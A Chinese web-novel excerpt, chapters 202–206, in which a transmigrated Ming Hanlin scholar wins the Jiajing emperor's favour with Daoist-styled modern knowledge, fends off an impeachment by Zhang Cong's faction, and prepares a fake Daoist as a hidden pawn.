宫里的旨意就下来了:
陛下西苑召见。
西苑,这地方在嘉靖朝初年,
味道就开始有些不一样了。
虽还未像后期那般完全沦为斋醮修炼的场所,
但年轻的皇帝陛下在处理繁重政务之余,
已渐渐流露出对清静玄妙之地的偏好。
召见臣工的地点从规矩森严的乾清宫挪到这太液池畔、琼华岛旁的殿阁,
本身就是一个微妙的信号。
苏惟瑾整了整身上略显陈旧的青色官袍,
深吸一口气,跟着引路的小太监,
穿过重重宫禁。
越往西苑走,宫人似乎越少,
空气中隐隐约约飘散着一丝檀香混合着不知名草药的味道,
朱红宫墙内传来的不是朝堂的喧嚣,
而是几声清越的鹤唳。
召见的地方是一处临水的精舍,
名唤“澄渊堂”。
堂内陈设清雅,不尚奢华,
多宝格里摆的不是古玩玉器,
而是一些形态奇特的根雕、
颜色温润的玉石,
以及几卷看似年代久远的经卷。
嘉靖帝朱厚熜并未穿龙袍,
只着一身玄色暗纹道袍常服,
坐在窗边的紫檀木榻上,
面色比苏惟瑾离京前似乎红润了些,
但眉宇间那份属于少年天子的锐气,
已被一层淡淡的、探究玄奥的思索神色所取代。
他手里正把玩着一块鸡蛋大小、
温润如脂的羊脂白玉,
目光却投向窗外波光粼粼的太液池。
“臣,翰林院修撰苏惟瑾,叩见陛下。”
苏惟瑾趋步上前,依礼**。
超频大脑飞速运转,
将眼前所见的一切细节摄入分析:
环境、气味、皇帝的衣着神态……
一切信息都指向一个结论
——陛下对道家之学的兴趣,
比外界传闻的更浓,
且已开始融入日常生活。
“平身,赐座。”
嘉靖帝收回目光,落在苏惟瑾身上,
脸上露出一丝浅淡却真实的笑容。
“惟瑾此番大同之行,辛苦了。
你递上来的奏报,朕仔细看过了。
处置得当,有理有据,
尤其是最后善后诸策,
思虑周详,颇见功力。”
“陛下谬赞。”
苏惟瑾欠身坐下,姿态恭谨。
“臣不过是奉旨行事,
仰仗陛下天威,方能侥幸不负圣望。
边镇将士感念陛下恩德,
方是平息祸乱的根本。”
嘉靖帝摆摆手,
显然对这套官样文章不太感兴趣,
他更关心具体细节:
“起来说话。
朕听闻,你发放饷银,
是直接发到士卒手中,
绕过了层层将官?
此法,可是你独创?”
来了!
苏惟瑾心中微凛,知道这是考较,也是机会。
他从容应答:
“回陛下,此法并非臣独创。
臣少时家贫,曾见里甲征收粮税,
若经手胥吏过多,
到百姓手中往往十不存五六。
故臣思之,饷银之于士卒,
犹如粮税之于农户,环节越多,
损耗越巨,怨气越深。
非常之时,当行非常之法,
直接发放,虽显笨拙,
却能最快收拢人心,
此乃不得已而为之的权宜之计,
实非长治久安之策。”
他既点明了问题的核心(贪腐),
又谦虚地表示这只是临时办法,
把提出根本解决方案的空间留给了皇帝。
嘉靖帝闻言,眼中欣赏之色更浓:
“嗯,能见微知著,
通晓人情利弊,殊为不易。
看来,让你去翰林院修书,
倒是有些屈才了。”
这话就有些重了,
苏惟瑾连忙起身:
“陛下言重。
翰林院清贵之地,
正是臣学习历练之所。
能替陛下分忧,无论身处何职,
皆是臣之本分。”
嘉靖帝笑了笑,示意他坐下,
话锋一转,似乎漫不经心地问起:
“大同苦寒之地,将士们常年戍守,
除了粮饷,可还有什么难处?”
苏惟瑾心念电转,知道戏肉来了。
他沉吟片刻,仿佛在回忆,
然后才缓缓道:
“回陛下,边地苦寒,确非虚言。
将士们除了思念故土,
最苦的便是伤病。
军中缺医少药,许多将士染了风寒湿气,
往往迁延不愈,落下病根,甚是可怜。
臣在大同时,曾见一些老卒,
关节肿痛,行动不便,
仍要巡守边墙,令人唏嘘。”
他语气沉痛,充满了对士卒的同情。
嘉靖帝听了,也不禁微微动容,叹道:
“将士们为国戍边,确是辛苦。
太医院也常派医官前往,
奈何杯水车薪。”
“陛下仁德。”
苏惟瑾先赞一句,
然后仿佛突然想起什么,
语气变得有些不确定。
“臣……臣在整理前朝实录时,
曾偶见一本散佚的杂记,
似是宋元时某位隐士所著,
其中……似乎提到过一些强健筋骨、
抵御寒湿的导引吐纳之法,
还有些……利用常见草药提纯萃炼,
以期增强药效的设想。
不过,书中语焉不详,
多是推测之词,
臣当时也只当是奇闻异谈,
未曾深究。”
“哦?”
嘉靖帝原本有些慵懒靠着的身体,
不知不觉坐直了,
眼中闪过一丝极亮的光彩。
“导引吐纳?草药提纯?
那杂记叫什么名字?
现在何处?”
他的语气带着一丝不易察觉的急切。
苏惟瑾露出恰到好处的遗憾神色:
“回陛下,那杂记并无名目,
只是夹在一堆故纸堆中,
破损严重,臣当时翻阅过后,
便与其他废籍一同处理了。
如今想来,甚是可惜。
只依稀记得,书中似乎引用了些《道藏》中的典故,
说什么‘流水不腐,户枢不蠹’,
人体亦当如自然,
气血通畅则百病不生云云……
至于草药提纯,更是异想天开,
说什么欲取草木之精华,
去其糟粕,犹如炼丹去芜存菁一般,
只是设想,并无具体
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法门。”
他故意说得模糊,
将关键信息包裹在“道藏典故”、
“炼丹去芜存菁”这些嘉靖帝目前最感兴趣的概念里,
如同在饥渴的鱼儿面前,
投下了一枚带着诱人香味的饵料。
果然,嘉靖帝的兴趣被彻底勾了起来。
他不再关注大同的军务,
反而追问道:
“《道藏》?你也读过《道藏》?”
此刻的他,不像一个皇帝,
更像一个找到了同好的求知者。
苏惟瑾谦逊道:
“臣岂敢说读,只是闲暇时胡乱翻过几卷,
深感其中包罗万象,奥妙无穷,
尤以养生延年、探究天地至理之说,发人深省。
只是臣资质鲁钝,不得其门而入,
只能望洋兴叹。”
这番话说得极有水平,
既表明自己有所涉猎(投其所好),
又自承不懂(降低皇帝戒心),
还顺势抬高了道家学问的地位(挠到痒处)。
嘉靖帝脸上露出了近乎愉悦的神情,
他觉得自己找到了一个可以交流“高端话题”的年轻臣子,
这比那些只会磕头颂圣或争吵不休的老家伙有趣多了。
他甚至主动分享起来:
“不错,《道藏》确是玄门瑰宝。
朕近日也在参详《黄庭经》,
其中所言五脏神祇、内景导引之术,
暗合天人感应之妙理。
若真能依此强健体魄,
乃至……呵呵,罢了,
此事玄奥,非一日之功。”
他适时止住,但话里的向往之意已表露无遗。
苏惟瑾心中暗喜,
种子已经播下,不能急于求成。
他立刻顺着话头,
以请教的口吻道:
“陛下圣学渊深,臣万万不及。
只是臣愚见,
无论是导引之术还是医药之理,
若能以精诚之心探究,
假以时日,或真能于国于民有所裨益。
譬如边军之苦,若有简便有效的强身之法推广,亦是功德无量。”
他把话题又轻轻拉回到了国事民生上,
显得自己一心为公,毫无私心。
嘉靖帝满意地点点头,
看苏惟瑾越发顺眼:
“惟瑾有此公心,甚好。
今日奏对,朕心甚慰。
你且回去安心修书,
日后若有闲暇,可多留意此类古籍杂谈,
或有发现,随时可奏报于朕。”
“臣,遵旨。”
苏惟瑾躬身领命,
知道这次面圣,效果远超预期。
退出澄渊堂,走在西苑曲径通幽的小路上,
苏惟瑾感受着怀中那块嘉靖帝随手赏赐的、
带着体温的羊脂玉佩,嘴角微微勾起。
一次成功的奏对,不仅巩固了圣眷,
更在皇帝最敏感的领域,
埋下了一颗属于自己的钉子。
未来,这颗名为“长生”或“健康”的种子,
或许能在关键时刻,长成庇佑自己的参天大树。
而精舍内,嘉靖帝摩挲着手中的白玉,
望着苏惟瑾离去的方向,
喃喃自语:
“苏惟瑾……不仅通经济,
晓军务,竟对养生之道也有涉猎?
真是个有趣的臣子。
或许……他真能帮朕找到些不一样的……东西?”
第203章 帝呼小先生,圣眷再升温
西苑丹房里那场看似不着边际的“论道”,
如同一块投入深潭的巨石,
其涟漪远远超出了苏惟瑾的预期。
自那日后,嘉靖帝朱厚熜看他的眼神,彻底变了。
那不再是君王对能干臣子的欣赏,
而是掺杂着一种近乎发现新大陆般的惊喜、
找到“同道”的热切,
甚至还有一丝不易察觉的依赖。
“苏小先生今日可曾入值?”
这句半开玩笑的问话,
开始频繁地从嘉靖帝口中冒出,
对象是贴身太监黄锦。
起初,黄锦和近侍们还愣一下,
随即才反应过来这“苏小先生”指的是那位年轻的翰林修撰苏惟瑾。
天子私下以“先生”称臣,
虽加了个“小”字以示亲昵而非完全师礼,
但这待遇,在本朝可是破天荒的头一遭!
连几位阁老,也未必能有此殊荣。
这消息像长了翅膀,
悄无声息地飞遍了宫禁。
当苏惟瑾再次奉召前往西苑时,
引路的太监腰弯得更低,
笑容更谄媚,一口一个“苏先生”,
叫得无比自然。
连把守凝神圃的那些大内高手,
看他的眼神也少了几分审视,
多了几分敬畏。
这一日,嘉靖帝并未在丹房,
而是在澄渊堂旁的一间静室里,
对着一幅刚送来的《永乐大典》残卷蹙眉。
见苏惟瑾进来,他立刻招手,
指着一段关于道教仪轨的艰涩记载问道:
“惟瑾,你来看看,
此处所言‘存思三丹田,
引气过重楼’,这‘重楼’所指,
是喉间十二楼,还是另有所指?”
苏惟瑾心中微凛,知道考验又来了。
皇帝这是真把他当成了玄学顾问。
他定睛看去,那段文字佶屈聱牙,
但超频大脑迅速调动相关记忆,
结合现代解剖学和道教内丹术知识,
组织语言答道:
“陛下,依臣浅见,
此‘重楼’当喻指咽喉要道。
气过重楼,方能下贯丹田,上达泥丸。
然典籍记载往往语焉不详,
或因人而异。
臣曾读某杂记,认为修行贵在体悟,
不必过于拘泥字句,
当以自身气感为准,
似水银泻地,自然流转为宜。”
他既给出了符合道家理论的解释,
又巧妙地暗示不必迷信古籍,
要灵活运用,
这正合了嘉靖帝既想寻章摘句又渴望突破的心意。
“善!大善!”
嘉靖帝抚掌轻笑。
“惟瑾此言,深得我心。
果然读书贵在贯通,
而非死记硬背。”
他越看苏惟瑾越觉得顺眼,
这个年轻人,不仅能处理烦琐的政务军务,
连这等玄奥之学也能说得头头是道,
见解往往别出心裁,让人眼前一亮。
赏赐随之而来,
不再是寻常的金银帛缎,
而是更显“贴心”和“知音”的物件。
几大箱宫中珍藏的《道藏》珍本抄卷
被送到了苏惟瑾那简陋的翰林院值房,
引得同僚们眼红不已。
更让苏惟瑾哭笑不得的是,
嘉靖帝还特意赐下了几瓶邵元节最新进献的、
据说是用“先天铅汞”炼制的“九转还丹”,
并殷切嘱咐:
“此丹乃邵**精心炼制,
药性温和,小先生公务劳顿,
或可服用一二,培元固本。”
看着那泛着诡异金属光泽的丹丸,
苏惟瑾的超频大脑立刻拉响警报:
汞、铅、砷超标严重!
但他面上却露出感激涕零的神色,
恭敬接过:
“臣叩谢陛下天恩!
此等灵丹,臣必焚香沐浴,
谨慎服用,以期不负圣望。”
转身回到值房,
他就把这些“毒丸子”锁进了一个小铁盒最底层,
打算找个机会“不小心”掉进太液池喂鱼。
吃是万万不能吃的,
但皇帝的好意必须“心领”。
出入西苑的许可也变得近乎常态化。
有时是讨论经史,有时是咨询政务,
更多的时候,
是嘉靖帝拉着他探讨养生、
丹道甚至星象占卜。
苏惟瑾谨守分寸,
从不主动涉及敏感朝政,
但在玄学领域,
他总能凭借超越时代的见识,
将现代科学知识用道家术语包装得天花乱坠,
既满足了嘉靖帝的求知欲和修炼热情,
又在不知不觉中,将一些更健康、
更科学(相对而言)的理念潜移默化地灌输过去。
比如,他会“偶然”提起:
“陛下,臣观那蒸馏所得花露,
气息纯净,似更合‘清静无为’之道,
或比金石之燥烈,更宜日常涵养。”
嘉靖帝试过后,果然觉得神清气爽,
对那烟雾缭绕的丹炉兴趣便淡了几分,
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>这让一旁的邵元节脸色愈发难看。
这一日,内阁呈报几件棘手政务,
涉及漕运、边饷,阁臣们意见不一,
吵得嘉靖帝头昏脑胀。
他一气之下,挥退众人,
独留下刚好在场“探讨古籍”的苏惟瑾。
“惟瑾,你看看,尽是些头疼医头、
脚疼医脚的法子!
户部说没钱,兵部说要饷,
漕运又说损耗巨大!
满朝文武,就不能有个长远之策吗?”
嘉靖帝揉着太阳穴,语气烦躁。
苏惟瑾心中一动,
知道这是展现“能臣”本色的机会,
但绝不能越俎代庖。
他恭敬地接过奏章,
快速浏览,超频大脑已开始分析利弊。
但他开口时,却极为谨慎:
“陛下,诸公所议,皆是为国操劳。
漕运之事,
臣以为或可仿效民间商队‘分段承包、
明晰责任’之法,
减少中间环节损耗;
边饷之困,或可考虑在边镇试行‘盐引、茶引折色’,
以实物部分替代银两,
减轻国库压力……
当然,此皆臣一孔之见,
具体施行,还需陛下与诸位阁老详加斟酌。”
他提出的只是思路框架,
具体细节留给专业人士,
既展示了才华,
又避开了揽权的嫌疑。
嘉靖帝听着,紧锁的眉头渐渐舒展,
叹道:“若人人都如小先生这般,
既能洞察时弊,又知进退之道,
朕何至于如此劳累?”
“苏小先生”这个称呼,
再次脱口而出,
这一次,少了玩笑,
多了几分真心实意的倚重。
苏惟瑾连忙躬身:
“陛下言重了,臣年轻识浅,
唯愿竭尽驽钝,为陛下分忧万一。”
走出西苑,秋风吹在脸上,
苏惟瑾感到一种前所未有的踏实。
他知道,“帝心知己”这个标签,
已经稳稳地贴在了自己身上。
这层关系,或许比任何明确的官职都更有力量。
它像一道无形的护身符,
让他在波诡云谲的朝堂中,
多了一份从容和底气。
当然,他也清楚,圣眷越隆,
嫉妒的目光也会越多,
未来的路,需更加如履薄冰。
但至少此刻,安全感是实实在在的。
这棵自己亲手培育的“信任之树”,
已经开始结出甜美的果实。
第204章 种子已播下,静待发芽时
西苑那场“论道”的余温,
仿佛还黏在苏惟瑾的官袍上,
带着一股子檀香混合着丹砂的奇异味道。
他回到翰林院那间狭小的值房,
关上门,窗外梧桐叶被秋风吹得簌簌作响,更衬得屋内一片寂静。
他没点灯,任由暮色一点点吞噬房间,
也吞噬了他脸上那副恰到好处的恭谨表情。
超频大脑,启动。
化身最精密的仪器开始自检,
方才在西苑的每一帧画面、
嘉靖帝的每一个眼神、
每一句看似随意的话,
都被调取出来,高速分析、复盘。
“小先生……”
苏惟瑾指尖无意识地敲着桌面,
嘴角勾起一丝若有若无的弧度。
这个称呼,亲昵得令人心惊,也危险得令人胆寒。
它意味着自己这只偶然飞入皇家视野的“奇鸟”,
终于被那只隐藏在丹房迷雾后的“真龙”当成了有趣的、
甚至可能有点用处的玩伴。
亲近感是有了,但这亲近,
是架在火山口上的,
底下是皇权、党争、
修道这潭深不见底的浑水。
皇帝对那点粗浅的“化学神迹”(蒸馏花露)反应如此热烈,远超预期。
这说明什么?
说明这位少年天子,
对超越凡俗、通往长生或力量的“奇技淫巧”,
有着超乎寻常的渴求。
邵元节那老道靠画符念咒和进献铅汞丸子能得宠,
自己这手“格物致知”包装下的现代知识,岂不是降维打击?
但这棵好不容易才催生出的“信任之树”,
不能只开花不结果。
它必须结出皇帝无法拒绝、
甚至依赖的“果实”。
这果实,光靠偶尔露一手的“科学小魔术”还不够,
得是持续的、能嵌入皇帝日常修行和权力格局中的东西。
明线,在翰林院必须稳扎稳打。
经筵日讲要出彩,
公文誊录要一丝不苟,
偶尔提出的政见(如之前的大同兵变三策)要既显才干又不越矩。
积累清望,打磨资历,这是安身立命的根本。
暗线,则要加速了。
那个在顺德府忘恩负义的假道士,还有几分机灵劲。
可以包装成一个仙风道骨的道士“鹤岑”,
是时候加大投资力度了。
光教他些似是而非的养生口诀和简单的化学把戏(如酸碱变色)还不够,
得给他编个更宏大的“剧本”。
苏惟瑾脑中飞快掠过《凡人修仙传》的框架,
结合葛洪的《抱朴子》、魏伯阳的《参同契》,
开始构思一个适合大明嘉靖年间的“低魔修仙体系”
——从“引气入体”到“筑基结丹”,
**要玄奥,术语要古雅,效果要…
嗯,主要靠心理暗示和一点草药学、心理学技巧。
要让鹤岑相信,更要让嘉靖帝相信,
这是一条可行的“登仙之路”。
鹤岑,将成为他打入皇帝修道核心圈、
甚至取代邵元节的棋子,
一个长期潜伏的“终极后手”。
想到邵元节今日那强装镇定却难掩阴鸷的眼神,
苏惟瑾就知道,这道坎没那么容易过。
还有张璁那帮靠“大礼议”起家的新贵,
自己这突然冒起的“帝心知己”,
怕是早已成了他们的眼中钉肉中刺。
妒火已燃,暗箭需防。
而所有这些谋划,最大的障碍,
不是邵元节,也不是张璁,
而是那无孔不入的厂卫!
东厂的番子,锦衣卫的缇骑,
尤其是现在那位年轻精明、
深受帝信的指挥使陆炳手下的锦衣卫,
堪称大明中期最强的**。
自己任何一点不寻常的举动,
与外界(尤其是顺德府)的秘密联络,都可能被放大镜盯着。
信息的传递,必须绝对安全,
不能留下任何蛛丝马迹。
超频大脑开始搜索信息加密技术。
复杂的密码学这个时代无法实现,
但一些简单的替代法、移位法,
结合只有双方才懂的暗语、书籍代码
(比如用《洪武正韵》某页某行某字对应真实信息),
在这个时代,已经是超越维度的保密手段了。
需要精心设计一套联络密码,
用于和鹤岑、以及周大山等少数核心助力进行单向或双向沟通。
“呼……”
苏惟瑾长长吐出一口浊气,
仿佛要将满脑子的算计都倾泻出来。
暮色已深,值房内漆黑一片,
只有他的眼眸,在黑暗中亮得惊人,
如同蛰伏的猎豹。
种子已经播下,明线暗线交织成网,
现在就静待它们,
在时代的土壤里,悄然发芽了。
翌日,翰林院的气氛明显有些微妙。
苏惟瑾刚在值房坐定,
同科的庶吉士李振业就端着茶杯晃了过来,
脸上堆着假笑:
“苏兄,昨日又蒙陛下召见?
听说还在西苑待了许久?
真是简在帝心,羡煞我等啊。”
这话听着是恭维,
实则夹枪带棒,
暗指他不在本职岗位,专营君前。
几个竖着耳朵的同僚也投来探究的目光。
苏惟瑾头也没抬,继续慢条斯理地磨墨,
语气平淡得像在说今天天气不错:
“李兄说笑了。
陛下垂询几句古籍校勘的细节,
愚弟才疏学浅,战战兢兢,
生怕答错,岂敢当‘简在帝心’四字?
倒是李兄前日那篇《漕运利弊疏》,
剖析深入,听说王阁老都称赞有加,
才是真才实学。”
他轻巧地把话题引开,
顺便捧了对方一句,既化解了攻势,
又显得谦逊得体。
李振业像一拳打在棉花上,
讪讪地笑了笑,没趣地走开了。
苏惟瑾心中冷笑,
这点道行也来试探?
超频大脑早就分析过翰林院这些人的性格和背景,
李振业不过是张璁门下一条喜欢吠叫的狗而已。
打发走苍蝇,苏惟瑾铺开一张空白的稿纸,
看似在草拟一篇无关紧要的史论注解,
笔尖却悄然划动着一些外人看来毫无意义的符号和数字。
他正在设计那套联络密码。
核心是一本常见的《千家诗》,
以及只有他和周大山才知道的、
儿时在沭阳河边某个秘密基地的方位坐标。
诗句序号、字数、偏旁部首,
结合坐标偏移量,就能组合成一套看似杂乱无章,
实则内含玄机的密码本。
即便密信被截获,
在不懂规则的人看来,
也不过是孩童的涂鸦或者疯子的呓语。
他写得极其缓慢,
偶尔还停下来,蘸点
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墨,
像是在斟酌词句,
实则是在反复演算加密规则的可靠性和易用性。
必须确保周大山那边能轻易理解并执行。
这需要绝对的默契和信任。
正当他沉浸其中时,
门外传来一阵略显嘈杂的脚步声,
还伴随着几声刻意提高的谈笑。
只见礼部侍郎张璁,
在一群低阶翰林簇拥下,缓步走了进来。
张璁今日穿着簇新的绯袍,
面色红润,意气风发,
显然刚在别处得了彩头。
他目光在值房内一扫,
看似随意,却精准地落在了苏惟瑾身上。
“苏修撰真是勤勉啊,
这般早就来用功。”
张璁走到苏惟瑾案前,
声音不高不低,却足以让整个值房的人都听见。
他瞥了一眼苏惟瑾面前那张“涂鸦”般的稿纸,
眼中闪过一丝不易察觉的讥诮。
“是在构思什么惊世大作?
还是……在为陛下参详玄机啊?”
最后一句,拖长了音调,意味十足。
值房内瞬间安静下来,
所有人的目光都聚焦过来。
张璁这是直接发难了,
把苏惟瑾往“谄媚君上、不务正业”的火架上烤。
苏惟瑾心中警铃微作,
但面色不变,从容起身,拱手行礼:
“张部堂。”
他拿起那张稿纸,坦然展示。
“让部堂见笑了。
下官正在尝试一种新的记忆之法,
辅助背诵经籍。
胡乱画些符号,帮助联想记忆,让学士见笑了。”
他语气诚恳,甚至带着点不好意思。
“至于参详玄机,下官愚钝,
于道典一窍不通,
昨日面圣,也只是陛下垂询几句寻常学问罢了,岂敢妄谈玄机?”
他解释得合情合理,姿态放得极低,
直接把张璁扣过来的“高帽”轻轻巧巧摘了下来,
还顺带表明自己只是回答“寻常学问”,撇清了干系。
张璁没想到他应对得如此滴水不漏,
准备好的后续讥讽的话堵在了喉咙里。
他盯着苏惟瑾看了两秒,
皮笑肉不笑地说:
“哦?记忆之法?
苏修撰果然奇思妙想。
不过,你等翰林清贵,
终究还是要以经史文章立身,
些末小道,偶尔为之尚可,切莫本末倒置才好。”
这话看似劝诫,实则教训意味浓厚。
“部堂教诲的是,下官谨记。”
苏惟瑾再次躬身,态度恭顺得挑不出一点毛病。
张璁像是一拳打在了空处,
浑身不得劲,冷哼一声,
拂袖转身走向自己的座位。
周围那些等着看热闹的翰林,
见主角如此“怂”,也觉无趣,纷纷散去。
苏惟瑾缓缓坐下,
目光掠过张璁的背影,
眼底深处闪过一丝冷芒。
装逼?踩着我立威?
可惜,你找错了对象。
现在的隐忍,不过是懒得在你这条小水沟里翻船。
等我的种子发芽长大,
长成参天大树时,
看你还能不能笑得出来。
这脸,先记下了,日后自有连本带利打回来的时候。
他重新拿起笔,在那张“记忆法”稿纸上,
继续勾勒着外人看不懂的密码符号。
心中的棋盘,却更加清晰。
明枪暗箭,来吧!
第205章 张璁初发难,暗箭伤不着
张璁在翰林院碰了个软钉子,
心里那点不爽利,
像三伏天的闷汗,
黏糊糊地憋着散不出去。
他堂堂礼部侍郎,
清流领袖(自封的),
竟在一个新科状元、小小修撰面前讨了个没趣?
这口气,他咽不下去。
更重要的是,他敏锐地察觉到,
嘉靖帝对苏惟瑾的兴趣,
似乎超出了对一般年轻臣子的范畴,
尤其是涉及那些“玄虚”的东西,
这让他感到了威胁。
必须把这苗头掐灭在萌芽状态!
几天后,一次寻常的常朝之上,风云乍起。
一名御史,名叫吴鹏的,出列奏事。
此人是张璁的门生,
以敢言(或者说愣头青)著称。
他手持笏板,声音洪亮,
一副手握惊天大案的样子:
“臣,监察御史吴鹏,**翰林院修撰苏惟瑾!”
一语既出,满殿皆惊。
不少目光唰地一下投向站在后排翰林序列里的苏惟瑾。
苏惟瑾眼皮都没抬一下,
超频大脑却已瞬间进入高速运转状态:来了。
吴鹏义正词严,
唾沫星子几乎要喷到御阶上:
“臣**苏惟瑾二罪!
其一,不务正业,以奇技淫巧蛊惑圣听!
其身为翰林清贵,不思阐发经义,
反而弄些蒸馏花露、歪解道典的旁门左道,
邀宠于君前,败坏士林风气!
其二,结交内侍,窥探禁中!
臣闻其屡次出入西苑,
与司礼监太监黄锦等过从甚密,
此乃臣子大忌!”
这两项罪名,可谓狠毒。
“奇技淫巧惑君”是攻讦其立身不正。
“结交内侍”更是直指宫闱禁忌,
沾上就是**烦。
张璁站在班列前排,嘴角微微上扬,
露出一丝不易察觉的冷笑。
他就是要用这盆脏水,
把苏惟瑾那点“圣眷”浇个透心凉!
看你还能不能在西苑装神弄鬼!
朝堂上一片窃窃私语。
有摇头觉得吴鹏小题大做的,
也有暗中点头觉得苏惟瑾确实风头太盛的。
几个阁老眼观鼻鼻观心,不动声色。
龙椅上的嘉靖帝朱厚熜,
年轻的面庞上看不出喜怒,
只是手指轻轻敲着扶手。
“苏修撰,”
嘉靖帝开口了,声音平淡。
“吴御史所劾,你有何话说?”
苏惟瑾这才出列,躬身行礼,
姿态从容不迫,
脸上甚至还带着点恰到好处的困惑和委屈:
“陛下明鉴。
吴御史所言,臣……实在惶恐,
不知从何说起。”
他先喊冤,然后开始逐一拆解:
“所谓奇技淫巧,臣不敢当。
陛下日前垂询,
乃因臣偶读《道藏》,
见其中提及草木精华萃取之法,
心生好奇,试制了些许花露,
不过是为验证古籍所载,
亦是格物致知之一端。
若此便是奇技淫巧,
那《梦溪笔谈》、《齐民要术》所载诸多技艺,岂非皆成了旁门左道?
至于歪解道典,臣更是不敢,
只是将读书所悟,
据实回禀陛下,岂敢有丝毫蛊惑之心?”
他巧妙地把“制花露”拔高到“格物致知”、“验证古籍”的层面,
甚至拉出《梦溪笔谈》等经典背书,
一下子把吴鹏的指控变成了对实用学问的污蔑。
“至于结交内侍,”
苏惟瑾语气更显无奈。
“臣奉旨出入西苑,
每次皆有记录可查。
黄锦公公乃是奉陛下之命引导、传话,
臣与之交谈,从未超出陛下旨意范围,
何来‘过从甚密’?
更遑论‘窥探禁中’!
此乃欲加之罪,何患无辞!
臣一心只读圣贤书,
唯陛下之命是从,
岂敢有半分非分之想?
还请陛下明察!”
他这番话,有理有据,态度诚恳,
把自己摘得干干净净,
反而显得吴鹏像个捕风捉影、构陷忠良的小人。
尤其是那句“欲加之罪,何患无辞”,
更是隐隐指向了幕后指使。
张璁的脸色有些难看了。
他没想到苏惟瑾如此牙尖嘴利,
反应如此迅速。
嘉靖帝听完,脸上反而露出一丝玩味的笑容。
他年轻,但不傻。
张璁和吴鹏这点小把戏,他一眼就看穿了。
而且,他现在正对苏惟瑾那套“格物致知”的理论感兴趣,
觉得比那些老臣整天之乎者也的空谈有意思多了。
这**,来得正好撞枪口上。
“呵呵,”
嘉靖帝轻笑一声,目光扫过吴鹏,
又瞥了一眼张璁,
最后落在苏惟瑾身上。
“吴爱卿倒是忠心可嘉,
时刻替朕盯着朝堂风气。
不过……”
他话锋一转,带着几分调侃:
“苏修撰弄点花露,
也能扯上蛊惑圣听?
朕看那花露清心明目,
比某些人呈上来的酸文假醋受用多了。
至于结交内侍……黄锦,
你与苏修撰可曾私下饮酒密谈了?”
侍立在旁的黄锦连忙躬身,尖着嗓子道:
“回皇爷的话,
奴婢与苏修撰除了传达皇爷旨意,
半句闲话都不敢多说,
更别提饮酒密谈了!
奴婢可担待不起这罪名!”
嘉靖帝点点头,对苏惟瑾道:
“苏卿,看
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来是有人见朕与你多说了几句话,
心里不自在啊。”
这话几乎就是点明了张璁**在打压新贵。
张璁脸上青一阵白一阵,
恨不得找个地缝钻进去。
吴鹏更是吓得冷汗直流,
跪在地上不敢抬头。
苏惟瑾心中暗笑,
知道火候到了,该自己表态了。
他再次躬身,语气无比真诚:
“陛下圣明!
臣蒙陛下不弃,偶有垂询,
已是天恩浩荡。
臣只知,无论经义文章,
还是格物小道,
但凡于国于民有益,
便是臣份内之事。
臣愿效仿前贤,脚踏实地,
为陛下分忧,为社稷尽力,此心可鉴日月!”
他绝口不提张璁,只表忠心,只谈实干,
把自己塑造成一个埋头做事、
不问党争的纯臣形象。
这姿态,让嘉靖帝越发满意。
“好一个‘于国于民有益’!”
嘉靖帝抚掌。
“若朝中诸臣都能如苏卿这般务实,
朕又何须日夜忧劳?
此事不必再议!
吴鹏,风闻奏事虽是你的职责,
但也要查证清楚,不可听风就是雨!
退下吧!”
一场来势汹汹的**,
就这样被嘉靖帝轻描淡写地化解了,
反而成了苏惟瑾表忠心的舞台。
张璁偷鸡不成蚀把米,
不但没伤到苏惟瑾分毫,
反而让皇帝更加厌恶自己这方的“党同伐异”,
对苏惟瑾的信任和欣赏又加深了一层。
退朝后,苏惟瑾随着人流走出奉天殿。
阳光照在他青色的官袍上,暖洋洋的。
他能感觉到背后那些复杂的目光,
有嫉妒,有敬畏,也有重新审视。
张璁从他身边走过,脚步匆匆,
连看都没看他一眼,
但那紧绷的侧脸,已经说明了一切。
苏惟瑾嘴角微不可察地扬了扬。
第一波暗箭,算是挡住了。
但这只是个开始。
张璁之辈,绝不会善罢甘休。
不过,他并不担心。
他早已经预演了各种可能。
来吧,有什么招数,尽管使出来。
正好借你们的手,
把这“实干派”、“帝心知己”的人设,
夯得更结实些。
他整了整衣冠,
步履从容地向着翰林院走去,
心里已经开始盘算,
下次去见嘉靖帝,
该“不经意”地聊点什么呢?
或许,可以谈谈海边晒盐法的改良?
或者,漕运船只的某些小小优化?
总之,得是“于国于民有益”的“实学”。
种子既然播下了,就得勤浇水,
多施肥,让它长得快些,再快些。
第206章 培训鹤岑道,洗脑加科技
第206章培训鹤岑道,洗脑加科技
张璁那点小风波,
像湖面投下颗石子,
荡开几圈涟漪也就散了。
苏惟瑾在翰林院的日子,
表面愈发平静,
抄书、校勘、偶尔被嘉靖帝召去西苑“探讨”些玄之又玄的问题。
但他心里清楚,暗流从未停止涌动。
明面上的稳扎稳打必不可少,
暗地里的布局,更是要加速了。
这日休沐,天刚蒙蒙亮,
苏惟瑾便换了身寻常青衫,
戴了顶遮阳的斗笠,悄无声息地出了门。
他没坐轿,也没带随从,
七拐八绕,专挑僻静小巷走,
最终来到南城一处看似普通的民居前。
这里是周大山按他指示暗中盘下的产业,
表面是家经营不善的杂货铺后院,
实则是他经营暗线的秘密基地之一。
周围住的都是些升斗小民,
贩夫走卒,市井烟火气十足,
正好掩盖不寻常的动静。
敲开门,周大山那张憨厚中透着精明的脸露了出来,
见到是苏惟瑾,连忙让进院内,
警惕地看了看外面,
迅速闩上门。
“公子,您来了。”
周大山压低声音,
脸上是掩不住的兴奋。
他现在不仅是苏惟瑾的护卫头子,
更是这秘密基地的实际管理者,
责任感爆棚。
院子不大,但收拾得干净利落,
一角还摆了石锁、木桩,
显然是平日操练所用。
苏惟瑾点点头,
对周大山的办事能力表示满意。
“人呢?”
他问的是那个从顺德府弄来的“鹤岑道人”。
“在后厢房关……呃,静修呢。”
周大山差点说漏嘴,挠头笑道。
“按公子吩咐,好吃好喝供着,
就是不让出门,
天天给他看您给的那些‘天书’,
还有您让我演示的那些‘仙法’,
这家伙现在老实得很,
看我的眼神都带光,
简直把公子您当活神仙了!”
苏惟瑾微微一笑,
超频大脑早已推演出这种结果。
对于一个原本混迹底层、
后来又沦落为土匪,
靠点小把戏骗吃骗喝的假道士来说。
先是遭遇“**”的惊恐,
接着被好生供养,
再见识到超越认知的“神迹”
(比如周大山按他指导做的白醋遇碱面冒泡、铁钉放入胆矾溶液变铜色等简单化学实验),
最后被系统灌输一套听起来高大上的“新道统”理论,
不崩溃投降才怪。
这叫恩威并施,科技洗脑。
他推开后厢房的门。
屋内光线稍暗,
一个穿着勉强算干净道袍、
头发梳理得一丝不苟的中年男子正对着一本手抄册子念念有词。
